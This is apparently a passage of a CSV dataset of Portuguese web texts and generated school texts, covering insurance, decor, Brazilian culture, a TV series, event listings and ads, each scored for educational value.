e-mail para receber as nossas novidades!",original,original,original,original,2,0.4 +"Diferenças entre Seguro de Vida e Previdência Privada +Se preocupar com o futuro faz parte da nossa vida, mas o que realmente importa é se preparar para ele, afinal todos queremos dar mais qualidade de vida e sossego para a nossa família. +E é esse o ponto que o Seguro de Vida e a Previdência Privada tem em comum: a garantia de dias futuros mais estáveis, financeiramente falando. +É interessante saber também que alguns seguros oferecem coberturas adicionais no caso de invalidez ou morte do cônjuge do segurado. +Outra informação relevante, no caso dos beneficiários do Seguro de Vida serem menores de idade: no contrato do seguro deve-se nomear um tutor, pois na ausência do segurado eles não poderão receber a indenização por impedimento legal. Esse tutor será então a pessoa legalmente responsável pelos dependentes menores do falecido. +Note-se que o Seguro de Vida não é só indicado para as pessoas mais velhas. Do mesmo modo ele é importante para uma pessoa mais jovem que não tem dinheiro guardado mas que se preocupa com sua família, pois tal estará amparada no advento de alguma fatalidade. +Já a Previdência Privada nada mais é que um investimento para garantir uma renda maior quando o segurado estiver mais velho. +Essa renda não exclui a do INSS, mas é um complemento; funcionará como um fundo (acumulado durante a vida profissional) que fará o beneficiário aproveitar com mais tranquilidade a melhor idade. +A Previdência Privada é pensada para que o contratante a usufrua junto a sua família nos dias futuros. São pagas parcelas mensais por alguns anos (isso depende do plano escolhido), e assim é construída uma reserva financeira a ser resgatada após o período do contrato. Tudo o que foi investido será resgatado mensalmente, complementando-se a renda. +Há formas diferentes de se resgatar o dinheiro investido na Previdência Privada: a) renda temporária, em que se recebe o valor mensal conforme a idade inicial e final determinada no contrato; b) renda vitalícia, com o recebimento mensal de uma parcela até a morte (sendo que é possível transferir esse benefício para outra pessoa caso o beneficiário principal faleça); e c) resgate total do investimento após o prazo determinado em contrato. +Como há planos de Previdência Privada que possuem cobertura de risco, ou seja, a família passa a receber o benefício caso o contratante venha a falecer, é sempre bom ter o auxílio de um corretor de seguros para verificar a hipótese ideal para a realidade de cada interessado. +Consulte a Pro Affinity, esclareça suas dúvidas e veja qual a melhor opção para você e para sua família!",original,original,original,original,3,0.6 +"Maximalismo: a nova tendência na decoração de ambientes +Início » Casas » Maximalismo: a nova tendência na decoração de ambientes +Esse estilo é muito particular, pois é a tendência que permite misturar todos os estilos e obter uma combinação perfeita. +O maximalismo ressurgiu das cinzas e agora é apresentado como a antítese do minimalismo. Leva como lema a frase muito conhecida da estilista Donatella Versace: “Mais nunca é suficiente”. +O maximalismo é baseado em inconsistências que se encaixam perfeitamente, na combinação de estilos, no equilíbrio fora dos padrões estéticos. +Neste artigo, falaremos sobre o maximalismo e como ele se tornou uma tendência atual. +Você sabe o que é maximalismo? +Como podemos imaginar apenas lendo o seu nome, trata-se da antítese do minimalismo. +Lembre-se de que este último é um estilo caracterizado pela pureza dos seus elementos e linhas. Sendo assim, é um estilo muito sóbrio que dispensa o que não é estritamente necessário. +Por isso, encontramos quartos simples e bastante limpos em termos de cores, onde a luz e os móveis, quase que saídos de outro planeta, são os principais protagonistas. +Em resposta ao minimalismo, surgiu o maximalismo. É um estilo baseado nos detalhes barrocos e, portanto, muito ornamentados e com cores vibrantes. +Uma das características desse estilo, inspirado no estilo de Versalhes, é a combinação de estilos. Assim, encontramos móveis muito antigos com outros elementos mais futuristas, o que resulta em ambientes ricos em texturas e cores com muita personalidade e expressividade. +Nesse estilo, não podem faltar o veludo, as estampas florais, os drapeados, o papel de parede e nem a variedade e contraste de cores. +Além disso, a luz neste estilo desempenha um papel muito importante, porque ela é tratada como um recurso de configuração teatral. Sem dúvida, traz aquele toque de drama para o ambiente através de candelabros e lustres de cristal. +O maximalismo na sua casa: alguns conselhos +Obviamente, adotar essa tendência e levá-la a cabo não é nada fácil. +Também não é para todos, porque é um estilo muito peculiar, voltado especialmente para pessoas que não se importam com o que vão dizer ou com as “normas estéticas”. +�� um estilo com um ar de ostentação e pretensões que deixam os preconceitos de lado. +Um perfeito caos: +No começo, você pode se confundir um pouco, parece que para alcançar o maximalismo você tem que acumular muitas coisas e depois misturá-las no mesmo cômodo. +Isso está bem longe da realidade. Embora esse estilo quebre todas as regras e vise, acima de tudo, ser uma marca de identidade, também procura um equilíbrio no meio de tanto “caos”. +Para isso, busque combinar as peças que você gosta, que você se identifica e que não são completamente integradas umas com as outras. +Lembre-se de que esse é um estilo eclético em que a criatividade e a liberdade prevalecem. +Para que esse estilo fique perfeito em um ambiente, deixe sempre um espaço entre um objeto e outro, e lembre-se: cheio sim, mas abarrotado não. +Você pode misturar não só as cores, mas também estampas. Porém, faça tudo com um certo cuidado. +Quanto à paleta de cores mais comuns no maximalismo, podemos dizer que todas as cores vibrantes têm espaço. No entanto, as cores que predominam são o roxo e o verde-limão. +Como dissemos antes, esse estilo se baseia na decoração barroca e de Versalhes. Mesmo que seja assim, não abuse do dourado. +Outra coisa que podemos misturar neste estilo são as texturas: veludo com tecido liso ou couro. +Os estilos também se misturam para formar composições únicas e com muita personalidade. +O maximalismo combina e se ajusta perfeitamente com o estilo industrial, vintage, moderno ou clássico. +As paredes não escapam do maximalismo, na realidade, podem se tornar as principais protagonistas. +Existem, principalmente, duas opções: +Deixe as paredes lisas: nesse caso, preencha-as com quadros de molduras grandes e coloridas. +Papel de parede: procure usar uma estampa eclética e chamativa. Isso será o suficiente...",original,original,original,original,2,0.4 +"Você já parou para pensar por que o Brasil é tão diverso e fascinante? A resposta está nas nossas tradições culturais, um verdadeiro mosaico de influências que moldaram quem somos hoje. Imagine que o Brasil é como uma grande tela, onde cada pincelada representa a contribuição de diferentes povos e costumes. Essas pinceladas, ao longo da história, criaram um quadro único e cheio de cores vibrantes. + +Nossa cultura é resultado da mistura de tradições indígenas, africanas, europeias e, mais recentemente, asiáticas. Os povos indígenas, que já habitavam estas terras antes da chegada dos portugueses, deixaram um legado valioso na nossa culinária, no artesanato e no nosso vocabulário. Quem nunca ouviu falar de mandioca, aipim ou tapioca? Esses são apenas alguns exemplos da herança indígena que saboreamos no dia a dia. Além disso, muitas das nossas lendas e histórias fantásticas têm raízes nas crenças e mitos dos povos originários. + +A influência africana é igualmente marcante. Trazidos ao Brasil como escravizados, os africanos resistiram e preservaram suas tradições, que se manifestam na música, na dança, na religião e na culinária. O samba, o candomblé, a capoeira e a feijoada são exemplos poderosos da riqueza da cultura africana no Brasil. A musicalidade contagiante do samba, com seus ritmos e melodias, é um símbolo da nossa identidade nacional, assim como a capoeira, uma arte marcial que mistura luta, dança e acrobacia. + +Os europeus, principalmente os portugueses, também trouxeram seus costumes e tradições. A língua portuguesa, a religião católica e muitos dos nossos hábitos alimentares são heranças da colonização europeia. As festas juninas, com suas comidas típicas e danças folclóricas, são um exemplo de como as tradições europeias se adaptaram e se misturaram com os costumes locais. + +E não podemos esquecer das contribuições mais recentes de imigrantes de diversos países, como Japão, Itália e Alemanha, que também enriqueceram nossa cultura com suas tradições e costumes. A culinária japonesa, por exemplo, conquistou o paladar dos brasileiros, assim como a cultura italiana, com suas festas e músicas. + +As tradições culturais brasileiras estão por toda parte, desde a maneira como celebramos o Carnaval até a forma como preparamos um simples café. Elas se manifestam nas festas populares, nas danças folclóricas, na culinária regional e nas manifestações religiosas. Cada região do Brasil possui suas próprias tradições, que refletem a diversidade e a riqueza da nossa cultura. + +Que tal refletir um pouco sobre as tradições da sua família? Quais são os costumes que vocês mantêm e que foram passados de geração em geração? Como a cultura brasileira se manifesta no seu dia a dia? Explorar as nossas tradições culturais é uma forma de valorizar a nossa identidade e de fortalecer os laços que nos unem como brasileiros.",História,Tradições culturais,anos finais (6º ao 9º ano),"O texto apresenta alto valor educacional, adequado para o ensino fundamental. Introduz conceitos importantes sobre a diversidade cultural brasileira e suas influências (ind��gena, africana, europeia, asiática). O estilo de escrita é claro e consistente, facilitando a compreensão. O conteúdo é relevante, proveitoso e focado, promovendo um aprendizado estruturado sobre a formação da identidade cultural brasileira. A pergunta final estimula a reflexão e a valorização das tradições familiares.",5,1.0 +"Quando trabalhas com amor sempre tudo perfeito 😍😍 +Ainda andas com cabelo amarelo? 😕",original,original,original,original,0,0.0 +"Em 1985, o regime militar dava seus últimos suspiros e, mesmo ainda existindo censura, havia uma expectativa de liberdade e democracia no ar. Esse clima de euforia que parecia contagiar o Brasil foi o principal combustível dos criadores do seriado, que queriam dizer de uma só vez tudo o que não podia ser dito antes na televisão. Armação Ilimitada se tornou um dos programas mais influentes na história da TV brasileira. O trio de protagonistas já era, em si, uma ousadia completa para o veículo: dois jovens dividiam oficialmente, e sem problemas, a mesma namorada, uma alusão ao filme Jules et Jim, de François Truffaut. +Juba (Kadu Moliterno) e Lula (André de Biasi) são sócios na Armação Ilimitada, uma empresa prestadora de serviços, e topam qualquer desafio: de competições esportivas a cenas arriscadas como dublês de anúncios para a TV, do conserto de um toca-discos até a redação de um discurso para o presidente da República. Os dois moram juntos em um estúdio de TV abandonado, onde vivem cercados de mulheres bonitas, praticam esportes e levam uma vida saudável. Amigos desde infância, se orgulham da lealdade e confiança que depositam um no outro até que conhecem e se apaixonam pela jovem repórter Zelda Scott (Andréa Beltrão). +Inteligente, bonita e idealista, Zelda acaba de chegar da Europa, onde se formou em jornalismo na Sorbonne e viveu com o Pai (Paulo José), um político exilado. No Brasil, ela divide o apartamento com a fogosa Ronalda Cristina (Catarina Abdala) e trabalha no jornal Correio do Crepúsculo, comandado pelo seu tirânico Chefe (Francisco Milani) . Enviada para escrever um perfil de Juba e Lula, Zelda acaba apaixonada pelos dois. Incapaz de se decidir, conclui que o melhor é amar os dois ao mesmo tempo. +Para Juba e Lula, a coisa não é tão simples e só depois de quase se matarem em uma disputa pelo amor de Zelda, eles decidem preservar a amizade. O trio passa, então, a ter um bem-resolvido relacionamento amoroso. No episódio O Surfista e o Milionário, Zelda afirma que quer ficar com Juba e Lula após ser salva pela dupla . Alguns episódios depois, adotam Bacana (Jonas Torres), um garoto esperto que perdeu os pais, que eram artistas de circo. Em pouco tempo, ele revela ter o mesmo espírito aventureiro dos pais adotivos. +As aventuras dos heróis de Armação Ilimitada eram baseadas na atualidade e no estilo de vida dos jovens, com roteiros que absorviam todos os clichês dos filmes de ação, ficção científica e aventura. Em quatro temporadas, Juba, Lula e companhia lidam com agentes secretos, sósias, vampiros sereias, políticos corruptos, clones de Magnum (do seriado epônimo) e James Bond, super-heróis, bandas de rock, motociclistas, mulheres fatais e monstros. +Para os autores, tão importante quanto as histórias era determinar a maneira como elas seriam contadas. Em texto e imagem, eles abusavam de experimentações narrativas e de um humor anárquico, sem maior compromisso com a dramaturgia convencional da televisão. +O seriado tinha o seu próprio menestrel ou corifeu na figura do DJ Black Boy (que, apesar do nome, era interpretado por uma mulher, a atriz Nara Gil). De seu estúdio na Rádio Atividade, ele interrompia um episódio várias vezes para fazer comentários sobre a história, num misto de locução de rádio e rap: “É como já dizia o velho Charles:/ Bandeira pouca é bobagem/ Mais ovo e menos galinhagem/ Entra no ar o rádio com imagem”. +Armação Ilimitada foi criado a partir de uma idéia dos atores Kadu Moliterno e André de Biasi, que haviam trabalhado juntos na novela Partido alto (1984), e se encontravam frequentemente na praia para surfar. Eles queriam fazer um seriado de TV que misturasse esportes, romance e aventura, com uma linguagem jovem. Em 1985, os atores conversaram sobre o programa com o diretor Daniel Filho, que resolveu apostar no projeto. +A direção foi entregue a Guel Arraes, que dirigira com Jorge Fernando a novela Vereda Tropical (1984), de Silvio de Abreu. O diretor conta que, a princípio, não se identificou co...",original,original,original,original,4,0.8 +"Visita: MJV - São Paulo Ingressos, Ter, 08/05/2018 às 14:30 | Eventbrite +Visita: MJV - São Paulo +ter 8 de maio de 2018, 14:30 – 16:30 Horário Padrão de Brasília Horário Brasil (São Paulo) +MJV Soluções Tecnologia +Helena 280 +São Paulo, SP 04552050 +Nossa 86º visita +Para você fazer um tour pelo escritório da MJV São Paulo, conhecer os times, suas rotinas, desafios e bater um papo com Henrique Locatelli Ribeiro - Head of Innovation de lá. +Tecnologia; Gamificação; Design Thinking; Big Data; Lean; IoT; Escritório; +Esta visita é direcionada para estudantes e profissionais de Design, Design Digital e Tecnologia (TI). +Somos uma empresa que há 20 anos se dedica a transformar negócios, no Brasil e no mundo. Nosso time é multidisciplinar, formado por mais de 400 profissionais especializados na construção de soluções inovadoras em colaboração com nossos clientes. +Nossas áreas de conhecimento, que nos distinguem no mercado, são Design Thinking, Gamificação, Big Data/Analytics, Metodologia Lean, Estratégia Digital e Internet das Coisas. +Saiba mais em http://www.mjv.com.br/ +Visita: MJV - São Paulo em MJV Soluções Tecnologia +Helena 280 Vila Olímpia, São Paulo, SP 04552050, Brazil",original,original,original,original,2,0.4 +"CASACOR realiza palestra no IED amanhã | CASACOR +CASACOR realiza palestra no IED amanhã +Parte da Design Weekend 2019, a conversa ainda contará com os arquitetos Nildo José e Vitor Penha +access_time 20 ago 2019, 17h00 - Publicado em 20 ago 2019, 13h04 +À esquerda, o arquiteto Vitor Penha, ao lado de Livia Pedreira, jornalista e presidente da CASACOR, e o arquiteto Nildo José. +À esquerda, o arquiteto Vitor Penha, ao lado de Livia Pedreira, jornalista e presidente da CASACOR, e o arquiteto Nildo José. (Divulgação/CASACOR) +O 8º DW! São Paulo Design Weekend já está rolando, com mais de 300 eventos que estão agitando a capital paulista. E a CASACOR não poderia ficar de fora desta programação – nesta quarta-feira, 21 de agosto, será promovido um talk com Livia Pedreira, diretora superintendente da CASACOR, além dos arquitetos Nildo José e Vitor Penha. A mediação fica por conta do jornalista Ric Peruchi. +A conversa ocorre na sede do IED – Instituto Europeu de Design, em Higienópolis, e faz parte de uma iniciativa da faculdade de sediar exposições e workshops dedicados ao design. Serão mais de 30 atrações durante o DW!, curadas por 12 profissionais de diversas áreas que coordenam o tema Design Multicultural. +Nesta quarta-feira, os convidados irão tratar do tema Design Afetivo e Identidade, das 19:30 às 21:30. Não deixe de acompanhar! +Tudo sobre CASACORDesign WeekendPalestraTalk",original,original,original,original,2,0.4 +"A Fundação Municipal de Cultura de BH vai promover uma oficina para a elaboração de projetos para bibliotecas comunitárias. Dia 04/10, sext... +A Fundação Municipal de Cultura de BH vai promover uma oficina para a elaboração de projetos para bibliotecas comunitárias. Dia 04/10, sexta-feira, de 14 às 18h, na Biblioteca Pública Infantil e Juvenil. Informações e inscrições: 3277-9833 e dpbpl.fmc@pbh.gov.br +Biblioteca Comunitária Fundação Municipal de Cultura Notícias +SHARE: +Comentários +FACEBOOK +BLOGGER +Pesquisar este blog +Arquivo do blog +► 2021 (3) +► outubro (1) +► junho (1) +► janeiro (1) +► 2020 (19) +► novembro (3) +► outubro (2) +► agosto (1) +► julho (4) +► junho (6) +► maio (1) +► março (2) +► 2019 (66) +► novembro (3) +► outubro (10) +► setembro (8) +► agosto (13) +► julho (7) +► junho (5) +► maio (13) +► abril (6) +► março (1) +► 2018 (44) +► outubro (1) +► setembro (5) +► agosto (8) +► julho (6) +► junho (6) +► maio (5) +► abril (1) +► março (8) +► fevereiro (2) +► janeiro (2) +► 2017 (60) +► dezembro (1) +► novembro (7) +► outubro (11) +► setembro (11) +► agosto (5) +► julho (4) +► junho (3) +► maio (3) +► abril (4) +► março (4) +► fevereiro (4) +► janeiro (3) +► 2016 (84) +► dezembro (5) +► novembro (4) +► outubro (8) +► setembro (14) +► agosto (8) +► julho (6) +► junho (9) +► maio (5) +► abril (5) +► março (8) +► fevereiro (6) +► janeiro (6) +► 2015 (84) +► dezembro (2) +► novembro (5) +► outubro (6) +► setembro (4) +► agosto (14) +► julho (9) +► junho (5) +► maio (9) +► abril (10) +► março (8) +► fevereiro (4) +► janeiro (8) +► 2014 (78) +► dezembro (2) +► novembro (10) +► outubro (9) +► setembro (22) +► agosto (3) +► julho (6) +► junho (8) +► maio (7) +► abril (3) +► março (7) +► janeiro (1) +▼ 2013 (72) +► dezembro (3) +► novembro (6) +▼ outubro (20) +III Seminário do Polo de Leitura Sou de Minas, Uai... +29 DE OUTUBRO É DIA NACIONAL DO LIVRO +FALTAM POUCOS DIAS PARA O 3º SEMINÁRIO DO POLO +III ENCONTRO DE LITERATURA AFRO-BRASILEIRA +SANTIAGO RÉGIS TAMBÉM ESTARÁ NO SEMINÁRIO +ELIZETE LISBOA TAMBÉM ESTARÁ NO SEMINÁRIO +DOODLE DO GOOGLE HOMENAGEIA VINICIUS DE MORAES +SÉRGIO FANTINI TAMBÉM ESTARÁ NO SEMINÁRIO +RONALD CLAVER TAMBÉM ESTARÁ NO SEMINÁRIO +100 ANOS DE VINICIUS +VOLNEI CANONICA TAMBÉM ESTARÁ NO SEMINÁRIO +INSCRIÇÕES ABERTAS: PRÊMIOS LITERÁRIOS DA BIBLIOTE... +EDUARDO ANDRADE TAMBÉM ESTARÁ NO SEMINÁRIO +PEÇA SUA COLEÇÃO ITAÚ DE LIVROS INFANTIS +ABRAÃO ANTUNES TAMBÉM ESTARÁ NO SEMINÁRIO +CORDA BAMBA O FILME +AFFONSO ROMANO DE SANTANNA TAMBEM ESTARÁ NO SEMINÁRIO +FELIZ DIA DAS CRIANÇAS COM HISTÓRIA +VEM AÍ O 3º SEMINÁRIO DO POLO DE LEITURA SOU DE MI... +OFICINA DE ELABORAÇÃO DE PROJETOS PARA BIBLIOTECAS... +► setembro (4) +► agosto (3) +► julho (4) +► junho (3) +► maio (8) +► abril (1) +► março (11) +► fevereiro (8) +► janeiro (1) +► 2012 (67) +► dezembro (5) +► novembro (4) +► outubro (6) +► setembro (5) +► agosto (8) +► julho (2) +► junho (5) +► maio (4) +► abril (11) +► março (7) +► fevereiro (6) +► janeiro (4) +► 2011 (163) +► dezembro (10) +► novembro (15) +► outubro (18) +► setembro (16) +► agosto (16) +► julho (7) +► junho (16) +► maio (15) +► abril (11) +► março (20) +► fevereiro (10) +► janeiro (9) +► 2010 (38) +► dezembro (17) +► novembro (12) +► outubro (4) +► setembro (5) +Campanha Eu Apoio o PMLLLB-BH$type=carousel$cols=4$count=50$h=300$show=/p/pmlllb-mg.html +#EuAPoiooPMLLLB +Linha do Tempo$type=carousel$cols=4$count=50$h=300$show=/p/historia.html +Linha do tempo +Footer Social$type=social_icons +instagram +facebook +youtube +twitter +tumblr +© Rede de Leitura Sou de Minas, Uai! | Todos os direitos reservados +Tema Shared by Themes24x7 | Adapted by Santiago Régis | Platform by Blogger +Nome +E-mail +Mensagem +#EuAPoiooPMLLLB #soudeminasuai 02/2011 02/2012 02/2016 03/2011 03/2013 03/2016 04/2012 04/2015 05/2013 05/2014 05/2015 06/2013 06/2016 07/2015 07/2016 08/2016 09/2011 09/2012 09/2014 09/2016 10/2013 10/2016 11/2010 11/2012 11/2014 12/2011 12/2012 12/2013 14 de maio 1822 1ª Bienal do Livro de Vespasiano 2° Griasc Cultura 22° Festival do Orapronóbis 2ª Festa Literária de Sabará 2º Salão do Livro Infantil e Juvenil de Goiás 30 dias pela leitura 3º Seminá...",original,original,original,original,2,0.4 +"Multimídia em aulas de História - ppt carregar +Multimídia em aulas de História +PublicouEsther Pera Alterado mais de 3 anos atrás +Apresentação em tema: ""Multimídia em aulas de História""— Transcrição da apresentação: +1 Multimídia em aulas de História +Prof. Marcelo Holanda Multimídia em aulas de História +2 História Geral +3 Neocolonialismo ou Imperialismo +7 Neocolonialismo ou Imperialismo +11 A Segunda Revolução Industrial fez com que vários países europeus adquirissem capacidade de fabricar mercadorias, com isso, no século XIX, a produção européia cresceu tanto, que a população da Europa não era suficiente para consumir os produtos industrializados. A saída para este problema de superprodução foi a invasão de países da África e da Ásia, pois neles encontravam-se grandes mercados consumidores e inúmeras fontes de matéria-prima (ferro, carvão, petróleo, etc.) Para isso, as grandes indústrias e os grandes bancos aliaram-se para controlar ou dominar áreas coloniais, dando início a Política Imperialista, marcada pela violência e a guerra contra as populações nativas. O caráter violento era justificado pelo mito da superioridade racial branca, que considerava o homem branco superior aos “primitivos e atrasados” africanos e asiáticos. Na conferência de Berlim ( ) Portugal, Espanha, França, Inglaterra, Alemanha e Itália, decidiram dividir entre si o território africano. Em 1763, os ingleses tomaram a Índia pertencente aos franceses, e integraram-na ao Império Britânico. O Japão foi o único país da Ásia a manter-se independente. Em 1914, os países europeus dominavam 90% da África, 99% da Oceania e 56% da Ásia. As nações européias mantiveram sob sua dependência as economias coloniais por dois mecanismos: - O monopólio comercial, que obrigava o consumo de produtos da metrópole a preços altos e a venda das matérias-primas das colônias a preços muito baixos, além da proibição de indústrias coloniais. - O empréstimo da capitais, que mantinha as colônias sempre na condição de devedores. A exploração colonial desorganizou a estrutura tradicional das sociedades africana e asiática, provocando a fome e a miséria. +12 Com o acúmulo de riqueza no século XIX houve a necessidade de conquistar novos mercados consumidores. Com isso ocorreu o Imperialismo, que foi a dominação dos países industrializados da Europa sobre países tidos como ""atrasados"" da África e Ásia. Houve dominação também na América. Essa colonização, a do século XIX, foi diferente da colonização que ocorreu entre os séculos XVI e XVIII, época da transição do feudalismo para o capitalismo. No Imperialismo a busca era por fornecedores de matérias-primas para as indústrias e, conseqüêntemente, de mercados consumidores, enquanto que a colonização que começou no século XVI, buscava metais preciosos, de grande valor no mercado europeu. Além disso, essa colonização se concentrou mais na América. +13 O processo de colonização: +A dominação européia não teve limites. Para eles os africanos e os asiáticos eram povos ""subdesenvolvidos"" e necessitavam de mudanças. Tinham como argumento que um povo civilizado seria aquele que tivesse a mesma cultura européia, isso é, o mesmo modo de vida e o mesmo desenvolvimento. Usavam de violência com a população, utilizando exploração pela força e submissão racial. Alguns tinham por argumento a religião. Queriam levar a palavra de Deus aos povos que não eram cristãos. De uma forma ou de outra, sempre menosprezaram os povos colonizados. Houve também outros tipos de domínio. A dominação econômica deu-se em países que tinham independência e um governo próprio. Com isso ficaram submetidos ao controle econômico dos países imperialistas. Essa dominação ocorreu em países da América Latina. +14 A partilha da África Os europeus já exploravam algumas regiões do litoral Africano desde o século XVI, por causa do comércio de escravos. Mas os europeus não conheciam totalmente a África. Houve muitas expedições com a finalidade de conhecer mais a África. Muitos aventureiros, botânic...",original,original,original,original,3,0.6 +"MULHERPONTOFORTE: FAÇA DO SEU LAR UM PEDACINHO DO CÉU... +FAÇA DO SEU LAR UM PEDACINHO DO CÉU... +3 – Compromisso – Para estes lares, estarem profundamente comprometidos com a felicidade e o bem-estar um dos outros é extremamente importante. +4 – Habilidade para lidar de modo positivo com as crises – As crises são manipuladas de modo construtivo. De alguma forma, elas tratam a mais escura situação sob a ótica de nela encontrarem algum elemento positivo, não importa quão estreita ou pequena possa ela ser. Mediante a crise, elas se unem mais, em vez de permitirem o fracionamento do seu grupo.",original,original,original,original,2,0.4 +"Você já parou para pensar como a leitura transforma a nossa maneira de ver o mundo? Ler não é apenas juntar letras e formar palavras; é embarcar em uma viagem, conhecer novos lugares, personagens e ideias, tudo sem sair do lugar! + +Imagine que você está lendo um artigo sobre a Amazônia. Através das palavras, você consegue visualizar a floresta, os rios, os animais e até mesmo sentir o calor úmido da região. A leitura nos transporta para outros universos, expandindo nossos horizontes e nos tornando mais curiosos e informados. + +A interpretação de texto é como decifrar um código secreto. O autor de um texto, seja ele um livro, uma notícia ou até mesmo uma postagem nas redes sociais, sempre tem um objetivo ao escrever. Ele quer transmitir uma mensagem, expressar uma opinião ou contar uma história. Para entendermos completamente o que o autor quer nos dizer, precisamos ir além das palavras e identificar a mensagem principal do texto. + +Um exemplo prático: imagine que você está lendo uma notícia sobre o aumento do preço dos alimentos. A notícia pode informar apenas os números, mas uma interpretação mais profunda pode levar você a refletir sobre as causas desse aumento, como a seca, a inflação ou a especulação do mercado. Além disso, você pode pensar sobre as consequências desse aumento para a sua família e para a sociedade em geral. + +Para se tornar um bom leitor e intérprete de textos, é importante praticar a leitura regularmente e desenvolver algumas habilidades. Uma delas é a capacidade de identificar as palavras-chave do texto, que são aquelas que carregam o significado principal da mensagem. Outra habilidade importante é a capacidade de fazer inferências, ou seja, de tirar conclusões a partir das informações apresentadas no texto, mesmo que essas informações não estejam explícitas. + +Experimente ler diferentes tipos de textos, como notícias, artigos de opinião, contos, poemas e romances. Observe como cada tipo de texto utiliza a linguagem de forma diferente e como cada um deles pode te ensinar algo novo. Ao final de cada leitura, faça perguntas a si mesmo: Qual era o objetivo do autor ao escrever esse texto? Qual é a mensagem principal que ele queria transmitir? Quais são as ideias mais importantes apresentadas no texto? + +A leitura e a interpretação de textos são ferramentas poderosas que nos ajudam a compreender o mundo e a nós mesmos. Ao dominarmos essas habilidades, nos tornamos cidadãos mais críticos, informados e capazes de tomar decisões conscientes. Então, que tal começar agora mesmo a desvendar os segredos da leitura e a embarcar nessa aventura fascinante?",Português,Leitura e interpretação de texto,anos finais (6º ao 9º ano),"O texto apresenta alto valor educacional, introduzindo a importância da leitura e interpretação de textos de forma clara e envolvente. Aborda habilidades essenciais para o desenvolvimento do pensamento crítico e compreensão do mundo, além de sugerir práticas para aprimorar essas habilidades. A linguagem é acessível e o conteúdo é adequado para alunos do ensino fundamental, fomentando o interesse pela leitura e o aprendizado contínuo.",5,1.0 +"Beleza do cristianismo – segundo Bento XVI – ZENIT – Portugues +Beleza do cristianismo – segundo Bento XVI «Com os pés na terra e com os olhos no céu», responde +25 julho 2007RedacaoDicastérios e Diplomacia Vaticana CIDADE DO VATICANO, quarta-feira, 25 de julho de 2007 (ZENIT.org).- O segredo da beleza do cristianismo está em valorizar também as coisas humanas, inclusive os jogos, porque vivemos «com os pés na terra e com os olhos no céu», explica Bento XVI. «Eu estaria contra a alternativa entre jogar o futebol ou estudar Sagrada Escritura ou Direito Canônico. Façamos as duas coisas», disse nesta terça-feira, em um encontro com 400 sacerdotes, perto de Lorenzago di Cadore, onde passa as férias. Um dos presbíteros recordou com o Santo Padre a rigidez de seus superiores em tempos do seminário, que lhe repreendiam porque «eu gostaria mais de jogar futebol que fazer a adoração eucarística». «Mas aproximar o homem de Deus e Deus do homem não passa sobretudo através do que chamamos ‘humanidade’, que é irrenunciável, inclusive para nós, os sacerdotes?», perguntou o presbítero ao pontífice. «Não podemos viver sempre na alta meditação; talvez um santo no último degrau de seu caminho terrestre pode chegar a este ponto, mas normalmente vivemos com os pés na terra e os olhos no céu», explicou o bispo de Roma. «O Senhor nos deu ambas coisas e, portanto, amar as coisas humanas, amar a beleza de sua terra, não é só muito humano, mas também muito cristão e precisamente católico.» +«Uma boa pastoral, realmente católica, leva em conta este aspecto»: «viver a humanidade e o humanismo do homem, todos os dons que o Senhor nos deu e que desenvolvemos e, ao mesmo tempo, não esquecer de Deus, pois no final a luz vem de Deus, e só d’Ele procede a luz que dá alegria a todos estes aspectos.» +«Portanto, eu gostaria de comprometer-me simplesmente na grande síntese católica»: «ser verdadeiramente homem». +Ou seja, declarou, cada um, «segundo seus dons e segundo seu carisma», deve «amar a terra e a beleza que o Senhor nos deu, e agradecer porque na terra resplandece a luz de Deus, que dá o esplendor e a beleza a todo o resto». «Vivamos, neste sentido, a catolicidade com alegria. Esta seria minha resposta», reconheceu o Papa, suscitando o único aplauso do encontro. Share this Entry +religioes Embaixador espanhol no Vaticano convida a reconhecer papel da Igreja",original,original,original,original,2,0.4 +"Aluga galpão sendo 1º com 2.000m², com doca, cozinha ampla, vestiário ( feminino e masculino), escritório, estacionamento para carretas, ambos com ótimo acesso e ótima localização. 100m da Fernão Dias. +2º Aluga galpão sendo 1º com 1.500m², com doca, cozinha ampla, vestiário ( feminino e masculino), escritório, estacionamento para carretas, ambos com ótimo acesso e ótima localização. 100m da Fernão Dias.",original,original,original,original,0,0.0 +"Acompanhante masculino alto nível em Salvador/BA. Alan, dotadaço, 20 anos, 1.74m e 70kg atende em motéis e...",original,original,original,original,0,0.0 +"porta rápida flexível - Auto Portão +Receba diversas cotações de porta rápida flexível, encontre as melhores empresas, receba os valores médios pelo formulário com centenas de fornecedores +Desenvolvido para compradores, a ferramenta Soluções Industriais reuniu o maior número de fabricantes referência do mercado. Interessado porta rápida flexível e gostaria de informações sobre o fornecedor selecione uma das empresas abaixo: +Porta rápida flexível A Porta rápida flexivel foi desenvolvida com toda a qualidade para aplicação em áreas internas e externas de indústrias, para a proteção contra correntes térmicas de ar, poeira e contaminação, permitindo a vedação completa do ambiente e garantindo excelente resultado para o cliente. Econômica, a Porta rápida flexível reduz custos na economia de energia. A porta é silenciosa e suave, funcionando com excelente desempenho, o ... +A porta rápida dobrável é uma estrutura sem soldas, totalmente montada através de rebites rosca revicle, facilitando a substituição de partes em casos de colisões. Com acabamento padrão em aço galvanizado, opcionalmente em pintura eletrostática na cor (ral) a ser definida ou aço inox. Manta tecido vinílico de tecnologia européia, desenvolvido exclusivamente para aplicação em portas rápidas, pela sua resistência, qualidade e durabilidade. Porta ... +Porta rápida frigorífica é uma estrutura totalmente montada através de rebites rosca, não possuem soldas, facilitando assim a substituição de partes individuais da porta em casos de colisões em sua estrutura. As colunas são produzidas em perfil de alumínio natural, podendo ter seu acabamento em aço acabamento galvanizado, pintado ou em aço inox. Possui excelente vedação lateral. Resistência: Possuem sistema de aquecimento nas colunas realizado a... +Imagem ilustrativa de porta rápida flexível +O uso das portas automáticas deslizantes As portas automáticas do tipo deslizante são o que de mais moderno existe em termos de fechamento de um local ou sala. As portas automáticas que são deslizantes representam muito mais do que segurança e conforto, são hoje, sinal de bom gosto e elegância, adequando-se a qualquer projeto arquitetônico e decorativo. O avanço tecnológico vem permitindo equipamentos mais funcionais e também mais elegantes, .... +Conheça os tipos de manutenções A manutenção de portões automáticos pode ser dividida em duas, para situações diferentes. Essas são: Manutenção preventiva, E manutenção emergencial. A aplicação da manutenção do primeiro caso ocorre quando o portão funcionando normalmente. Porém, é necessário revisar e ajustar os principais componentes do portão, pois isso garante o bom funcionamento. Já a segunda manutenção é aplicada quando ocorre a.... +ATENDIMENTO EXCLUSIVO PARA SÃO PAULO, GRANDE SÃO PAULO E BAIXADA SANTISTA. A Art Metal Portões está localizada na zona sul de São Paulo e possui mais de 10 anos de experiência na 